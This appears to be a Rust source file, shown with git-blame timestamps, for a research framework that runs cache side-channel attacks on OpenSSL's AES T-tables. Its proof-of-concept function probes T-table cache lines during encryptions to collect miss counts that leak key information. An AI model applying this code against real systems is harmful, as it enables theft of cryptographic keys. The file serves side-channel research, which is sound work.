2020-08-19 14:34:52 +02:00
#![ feature(specialization) ]
2020-08-19 10:07:48 +02:00
use openssl ::aes ;
2020-08-19 15:09:29 +02:00
use crate ::CacheStatus ::{ Hit , Miss } ;
2020-08-19 10:07:48 +02:00
use memmap2 ::Mmap ;
use openssl ::aes ::aes_ige ;
use openssl ::symm ::Mode ;
use std ::collections ::HashMap ;
use std ::fmt ::Debug ;
use std ::fs ::File ;
use std ::path ::Path ;
use std ::sync ::Arc ;
2020-08-04 14:33:33 +02:00
// Generic AES T-table attack flow
// Modularisation :
// The module handles loading, then passes the relevant target infos to a attack strategy object for calibration
// Then the module runs the attack, calling the attack strategy to make a measurement and return hit/miss
// interface for attack : run victim (eat a closure)
// interface for measure : give measurement target.
// Can attack strategies return err ?
// Load a vulnerable openssl - determine adresses af the T tables ?
// Run the calibrations
// Then start the attacks
// This is a serialized attack - either single threaded or synchronised
// parameters required
// an attacker measurement
// a calibration victim
2020-08-19 10:07:48 +02:00
#[ derive(Debug, PartialEq, Eq) ]
pub enum CacheStatus {
Hit ,
Miss ,
}
2020-08-19 14:34:52 +02:00
pub enum ChannelFatalError {
Oops ,
}
pub enum SideChannelError {
2020-08-19 10:07:48 +02:00
NeedRecalibration ,
2020-08-19 14:34:52 +02:00
FatalError ( ChannelFatalError ) ,
2020-08-19 15:09:29 +02:00
AddressNotReady ,
2020-08-19 10:07:48 +02:00
}
/*
pub enum CacheSideChannel {
SingleAddr ,
MultipleAddr ,
}
* /
// Access Driven
pub trait SimpleCacheSideChannel {
// TODO
}
pub trait TableCacheSideChannel {
2020-08-19 14:34:52 +02:00
//type ChannelFatalError: Debug;
fn calibrate ( & mut self , addresses : impl IntoIterator < Item = * const u8 > + Clone ) ;
2020-08-19 10:07:48 +02:00
fn attack < ' a , ' b , ' c > (
& ' a mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
2020-08-19 10:07:48 +02:00
victim : & ' c dyn Fn ( ) ,
2020-08-19 14:34:52 +02:00
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
pub trait SingleAddrCacheSideChannel : Debug {
2020-08-19 14:34:52 +02:00
//type SingleChannelFatalError: Debug;
2020-08-19 10:07:48 +02:00
2020-08-19 14:34:52 +02:00
fn test ( & mut self , addr : * const u8 ) -> Result < CacheStatus , SideChannelError > ;
2020-08-19 10:07:48 +02:00
fn prepare ( & mut self , addr : * const u8 ) ;
fn victim ( & mut self , operation : & dyn Fn ( ) ) ;
fn calibrate (
& mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
pub trait MultipleAddrCacheSideChannel : Debug {
2020-08-19 14:34:52 +02:00
//type MultipleChannelFatalError: Debug;
fn test (
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < Vec < ( * const u8 , CacheStatus ) > , SideChannelError > ;
fn prepare ( & mut self , addresses : impl IntoIterator < Item = * const u8 > + Clone ) ;
fn victim ( & mut self , operation : & dyn Fn ( ) ) ;
fn calibrate (
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
impl < T : SingleAddrCacheSideChannel > TableCacheSideChannel for T {
2020-08-19 14:34:52 +02:00
default fn calibrate ( & mut self , addresses : impl IntoIterator < Item = * const u8 > + Clone ) {
self . calibrate ( addresses ) ;
}
//type ChannelFatalError = T::SingleChannelFatalError;
2020-08-19 10:07:48 +02:00
2020-08-19 14:34:52 +02:00
default fn attack < ' a , ' b , ' c > (
2020-08-19 10:07:48 +02:00
& ' a mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
2020-08-19 10:07:48 +02:00
victim : & ' c dyn Fn ( ) ,
2020-08-19 14:34:52 +02:00
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > {
2020-08-19 10:07:48 +02:00
let mut result = Vec ::new ( ) ;
for addr in addresses {
self . prepare ( addr ) ;
self . victim ( victim ) ;
let r = self . test ( addr ) ;
match r {
Ok ( status ) = > {
result . push ( ( addr , status ) ) ;
}
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > panic! ( ) ,
SideChannelError ::FatalError ( e ) = > {
return Err ( e ) ;
}
2020-08-19 15:09:29 +02:00
_ = > panic! ( ) ,
2020-08-19 10:07:48 +02:00
} ,
}
}
Ok ( result )
}
}
2020-08-19 14:34:52 +02:00
impl < T : MultipleAddrCacheSideChannel > SingleAddrCacheSideChannel for T {
//type SingleChannelFatalError = T::MultipleChannelFatalError;
fn test ( & mut self , addr : * const u8 ) -> Result < CacheStatus , SideChannelError > {
unimplemented! ( )
}
fn prepare ( & mut self , addr : * const u8 ) {
unimplemented! ( )
}
fn victim ( & mut self , operation : & dyn Fn ( ) ) {
unimplemented! ( )
}
fn calibrate (
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > {
self . calibrate ( addresses )
}
}
impl < T : MultipleAddrCacheSideChannel > TableCacheSideChannel for T {
fn calibrate ( & mut self , addresses : impl IntoIterator < Item = * const u8 > + Clone ) {
self . calibrate ( addresses ) ;
}
//type ChannelFatalError = T::MultipleChannelFatalError;
fn attack < ' a , ' b , ' c > (
& ' a mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
victim : & ' c dyn Fn ( ) ,
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > {
MultipleAddrCacheSideChannel ::prepare ( self , addresses . clone ( ) ) ;
MultipleAddrCacheSideChannel ::victim ( self , victim ) ;
let r = MultipleAddrCacheSideChannel ::test ( self , addresses ) ; // Fixme error handling
match r {
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > {
panic! ( ) ;
}
SideChannelError ::FatalError ( e ) = > Err ( e ) ,
2020-08-19 15:09:29 +02:00
_ = > panic! ( ) ,
2020-08-19 14:34:52 +02:00
} ,
Ok ( v ) = > Ok ( v ) ,
}
}
}
2020-08-19 10:07:48 +02:00
pub struct AESTTableParams < ' a > {
pub num_encryptions : u32 ,
pub key : [ u8 ; 32 ] ,
pub openssl_path : & ' a Path ,
pub te : [ isize ; 4 ] ,
}
const LEN : usize = ( u8 ::max_value ( ) as usize ) + 1 ;
pub fn attack_t_tables_poc (
side_channel : & mut impl TableCacheSideChannel ,
parameters : AESTTableParams ,
) -> ( ) {
// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
// TODO
// Possible enhancements : use ability to monitor several addresses simultaneously.
let fd = File ::open ( parameters . openssl_path ) . unwrap ( ) ;
let mmap = unsafe { Mmap ::map ( & fd ) . unwrap ( ) } ;
let base = mmap . as_ptr ( ) ;
let te0 = unsafe { base . offset ( parameters . te [ 0 ] ) } ;
if unsafe { ( te0 as * const u64 ) . read ( ) } ! = 0xf87c7c84c66363a5 {
panic! ( " Hmm This does not look like a T-table, check your address and the openssl used " )
}
let key_struct = aes ::AesKey ::new_encrypt ( & parameters . key ) . unwrap ( ) ;
//let mut plaintext = [0u8; 16];
//let mut result = [0u8; 16];
let mut timings : HashMap < * const u8 , HashMap < u8 , u32 > > = HashMap ::new ( ) ;
let addresses = parameters
. te
. iter ( )
. map ( | & start | ( ( start ) .. ( start + 64 * 16 ) ) . step_by ( 64 ) )
. flatten ( )
. map ( | offset | unsafe { base . offset ( offset ) } ) ;
2020-08-19 14:34:52 +02:00
side_channel . calibrate ( addresses . clone ( ) ) ;
2020-08-19 10:07:48 +02:00
for addr in addresses . clone ( ) {
2020-08-19 15:09:29 +02:00
let mut timing = HashMap ::new ( ) ;
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
timing . insert ( b , 0 ) ;
}
timings . insert ( addr , timing ) ;
2020-08-19 10:07:48 +02:00
}
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
//plaintext[0] = b;
eprintln! ( " Probing with b = {:x} " , b ) ;
// fixme magic numbers
let victim = | | {
let mut plaintext = [ 0 u8 ; 16 ] ;
plaintext [ 0 ] = b ;
for i in 1 .. plaintext . len ( ) {
plaintext [ i ] = rand ::random ( ) ;
}
let mut iv = [ 0 u8 ; 32 ] ;
let mut result = [ 0 u8 ; 16 ] ;
aes_ige ( & plaintext , & mut result , & key_struct , & mut iv , Mode ::Encrypt ) ;
} ;
for i in 0 .. parameters . num_encryptions {
let r = side_channel . attack ( addresses . clone ( ) , & victim ) ;
match r {
Ok ( v ) = > {
//println!("{:?}", v)
for ( probe , status ) in v {
2020-08-19 15:09:29 +02:00
if status = = Miss {
2020-08-19 10:07:48 +02:00
* timings . get_mut ( & probe ) . unwrap ( ) . entry ( b ) . or_insert ( 0 ) + = 1 ;
}
}
}
Err ( _ ) = > panic! ( " Attack failed " ) ,
}
}
}
for probe in addresses {
print! ( " {:p} " , probe ) ;
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
2020-08-19 15:09:29 +02:00
print! ( " {:3} " , timings [ & probe ] [ & b ] ) ;
2020-08-19 10:07:48 +02:00
}
println! ( ) ;
}
}